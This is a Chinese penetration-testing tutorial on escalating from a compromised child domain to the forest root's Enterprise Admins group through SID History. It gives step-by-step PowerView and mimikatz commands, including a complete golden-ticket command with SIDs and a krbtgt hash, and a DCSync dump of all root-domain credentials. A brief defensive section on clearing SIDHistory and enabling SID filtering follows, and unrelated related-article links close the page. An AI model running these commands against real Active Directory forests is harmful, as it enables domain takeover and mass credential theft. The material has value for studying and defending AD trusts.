前言

本文接上篇文章探究子域如何横向移动到父域的Enterprise Admin组,并给出防御方法。

Enterprise Admins组

在父子域中,最重要的莫过于Enterprise Admins组了,并且该组只存在于林根域中,其成员有权管理林内的所有域,这是因为在添加子域后,Enterprise Admins组会自动添加到林中每个域中的Administrators组成员中。但是该组在其他域树中是不存在的,所以在子域中是看不到有Enterprise Admins组。本文也是基于Enterprise Admins组来提权。

跨域访问流程

用户在登录某台客户机的时候,系统必须验证用户的身份,除了账号密码之外,还会为用户建立一个access
token(访问令牌),其中包含用户账户的SID、用户所隶属的所有组的SID等数据。当用户取得access
token后,如果他要访问计算机内的资源时,便会出示access token,而系统会根据access
token内的SID数据来决定用户拥有何种权限。 同理当用户连接网络上其他计算机时,这台计算机也会为该用户建立一个access
token,当用户需要访问资源的时候,便会出示access token,这台计算机便会根据出示的access
token的SID数据,来决定用户拥有何种的访问权限

SID History

根据微软的解释,SID History 是一个支持迁移方案的属性,每个用户帐户都有一个关联的安全标识符
(SID),用于跟踪安全主体和帐户在连接到资源时的访问权限。SID
历史记录允许将另一个帐户的访问有效地克隆到另一个帐户,并且对于确保用户在从一个域移动(迁移)到另一个域时保留访问权限非常有用。
而一个账户可以在SID-History Active Directory 属性中保存额外的 SID
,从而允许域之间进行可相互操作的帐户迁移(例如,SID-History 中的所有值都包含在访问令牌中)。 为了达到SID
History攻击的目的,我们的将使用域管理员权限,将获取到的有权限的SID值插入到SID历史记录中,以实现模拟任意用户/组(例如Enterprise
Admins)的权限,达到跨域提权目的。

枚举域信任

1、用全局编录的方式进行域信任查看
Get-DomainTrust -SearchBase “GC://(((ENV:USERDNSDOMAIN)”


2、使用powershell展现一个域信任关系
Get-ADTrust -Filter *


3、使用windows自带命令查看
nltest /domain_trusts


从上面的命令可以看出来,父域和子域是存在双向的信任关系

环境准备

本地环境使用到的是windows server2016
主域:dpl.com
子域:ziyu.dpl.com
假设已经拿到子域域控的权限,接下来我要拿根域的权限

从子域到父域的EA组提权利用(Sid History)

Sid History攻击需要:
1、域名称(GET-ADDomain)
2、域的SID值(GET-ADDomainSID)
3、域的KRBTGT账户的hash(mimitakz)
4、伪造用户名(administrator)
5、根域EA组的ObjectID(Convert-NameToSid)
一、利用powerview+mimikatz完成攻击利用
Ⅰ、使用Sid History完成对父域的提权

①获取子域名称
Get-Domain或ipconfig /all

②获取子域的SID值
Get-DomainSID

③获取子域KRBTGT的hash
sekurlsa::krbtgt

④获取根域EA组的ObjectID
Convert-NameToSid dpl\krbtgt

Ⅱ、SID介绍

SID用于唯一标识安全主体或安全组,以S-1-5-21-1315137663-3706837544-1429009142-502为例
表示字符串为SID(S)
修订级别(1)
标识符颁发机构 (5,NT Authority)
域标识符(21-1315137663-3706837544-1429009142)
相对标识符RID(krbtgt 502)
常见的SID:Domain Admins(S-1-5-domain-512)、Domain Users(S-1-5-domain-513)、Administrator(S-1-5-domain-500)、Enterprise Admins(S-1-5-root domain-519)、Domain Admins(S-1-5-domain-515)

而完成Sid History攻击需要修改其RID,获取到krbtgt的SID后,将502修改为519,也就是Enterprise Admins组
格式:mimikatz kerberos::golden /user:administrator /domain: /sid: /krbtgt:<KRBTGT_HASH> /sids:-519 /ptt
/user – 需要模拟的用户名,本例中为administrator
/domain – 完全限定域名(FQDN)
/sid – 域的 SID
/krbtgt – krbtgt的ntlm密码hash
/sids – AD 林中帐户/组的 SID,能获取高权限的ticket,本例中为Enterprise Admins组
/ptt – 将伪造的票据注入内存以供使用

Ⅲ、使用mimikatz完成攻击

访问根域是拒绝


命令:mimikatz # kerberos::golden /user:administrator /domain:ziyu.dpl.com /sid:S-1-5-21-2455727910-2290990957-1796281965 /krbtgt:a6dfcc6757f07f2338871c1437661771 /sids:S-1-5-21-551729718-3557281277-2606199327-519 /ptt

用主机名访问,不然会出错,访问父域成功

使用mimikatz导出根域的hash
lsadump::dcsync /domain:dpl.com /all /csv

防御方法

1、合法帐户迁移完成后清除 SID-History 属性
a.标识帐户的 SIDHistory 属性中的 SID。
Get-ADUser -Identity -Properties SidHistory | Select-Object -ExpandProperty SIDHistory
b.使用前面标识的 SID 删除 SIDHistory 属性
Set-ADUser -Identity -Remove @{SIDHistory=‘S-1-5-21-…’}
2、使用 netdom 工具(在域控制器上)在林信任上禁用 SIDHistory
netdom trust /domain: /EnableSIDHistory:no
3、使用 netdom 工具(在域控制器上)将 SID 过滤器隔离应用于外部信任
netdom trust /domain: /quarantine:yes

【看得懂吗,看不懂点】

渗透测试之子域到父域的横向移动(Sid History)相关推荐

  1. 子域转发父域(DNS)

    请参考配置子域授权 问题 继续进行本次操作,与向父DNS查询子域记录相反,本案例要求进一步实现当客户机向子DNS查询父域中域名www.asd.cn的时候也能获得正确结果. 需要完成的配置任务如下: 1 ...

  2. 父域与子域之的信任关系

    搭了一个测试环境,做一个父.子域间信任关系的测试,过程如下: 两台测试服务器,主域为primary.com,子域为child.primary.com 客户机Clientpri加入父域,客户机Clien ...

  3. 父子域+主辅域控的搭建

    最近写的父子域+主辅域控的搭建,结构图如下: 要弄一篇图文并茂的博文需要花费很多时间,尤其是将大量图片从word中弄到博客中,后期时间允许的情况下,我还是会写成博客,时间有限的话就做成链接,直接上传文 ...

  4. 在父域的基础上,添加子域

    父域--Window server 2016 子域--window server 2016 父域(提前创建好的)-- 子域的创建 打开服务器管理器,添加角色和功能向导 安装域服务 首先要确保两台虚拟机 ...

  5. ad域 父域 管理 子域_如何正确地将WordPress从子域移动到根域

    ad域 父域 管理 子域 Do you want to move a WordPress site from subdomain to root domain? The process is fair ...

  6. 《内网安全攻防:渗透测试实战指南》读书笔记(五):域内横向移动分析及防御

    目录 前言 一.常用Windows远程连接和命令 1.IPC (1)利用条件 (2)连接失败的原因 2.Windows自带工具 (1)dir (2)tasklist 3.计划任务 (1)at (2)s ...

  7. 第一章:渗透测试之信息收集

    第一章:渗透测试之信息收集 信息收集主要内容:服务器配置信息.网站敏感信息. 其中包括:域名及子域名信息.目标网站系统.CMS指纹.目标网站的真实IP.开放端口等. 总之:只要与目标网站有关就尽量去搜 ...

  8. 渗透测试之DNS域名信息探测实验

    渗透测试之DNS域名信息探测实验 实验目的 一.实验原理 1.1 域名 1.2 .域名的构成 1.3 域名的基本类型 1.4 域名级别 二.实验环境 2.1 操作机器 三.实验步骤 1. 使用sp查询 ...

  9. 前端把cookie写在父域里_单点登录的三种实现方式

    前言 在 B/S 系统中,登录功能通常都是基于 Cookie 来实现的.当用户登录成功后,一般会将登录状态记录到 Session 中,或者是给用户签发一个 Token,无论哪一种方式,都需要在客户端保 ...

最新文章

  1. Android规范文档
  2. Socket 通信原理(Android客户端和服务器以TCPUDP方式互通)
  3. python进阶书籍的推荐 知乎-知乎看了很多推荐,最终选了这本Python入门
  4. python 去除字符串两端字符串
  5. junit runner_了解JUnit的Runner架构
  6. 数值分析(10)-数值微分
  7. C# Thread.Sleep 导致内存溢出,在多线程里Sleep的真实情况 软件闪退 内存溢出
  8. Atitit 网关协议cgi wsgi fcgi fastcgi 目录 1.1. CGI(common gateway unterface) 1 1.2. 2.1 WSGI: 1 1.3. 2.3
  9. 计算机网络的服务资源管理器,MCSA学习指南-配置文件服务器资源管理器-文件服务器...
  10. C/C++程序设计题
  11. 计算机常用英语术语词汇表
  12. Hive exited with status 1
  13. 滴滴CTO张博港科大演讲:详解未来交通变革的三层“折叠”
  14. JavaScript中字符串连接/拼接的四种方式
  15. cmake整理:在编译时拷贝文件之add_custom_comand 和 add_custom_target
  16. 贝叶斯分析-学习笔记(超干的干货)
  17. 思科序列号无服务器,查看思科设备序列号以及序列号的命名格式
  18. Cubase中MIDI设备的如何创建面板
  19. HP EliteDesk 800 G4 DM 35W (Japan) Mini Tower黑苹果efi引导文件
  20. android4.4.4linux内核下载,Android 4.4源码下载

热门文章

  1. SLAM:SLAM相机简介、SLAM五步流程简介(VO+BEO+LCD+M)之详细攻略
  2. BigData之Hbase:Hbase数据管理的简介、下载、案例应用之详细攻略
  3. DL之Yolov3:基于深度学习Yolov3算法实现视频目标检测之对《我要打篮球》视频段进行实时目标检测
  4. NLP之word2vec:利用 Wikipedia Text(中文维基百科)语料+Word2vec工具来训练简体中文词向量
  5. 成功解决UnicodeDecodeError: 'utf-8' codec can't decode byte 0xbc in position 2: invalid start byte
  6. Algorithm之OP:OP之GA遗传算法思路理解相关配图资料
  7. BigData之Storm:Apache Storm的简介、深入理解、下载、案例应用之详细攻略
  8. Crawler:基于BeautifulSoup库+requests库实现爬取2018最新电影《后来的我们》热门短评
  9. 第五个神奇的电梯(2)
  10. gocode+auto-complete搭建emacs的go语言自动补全功能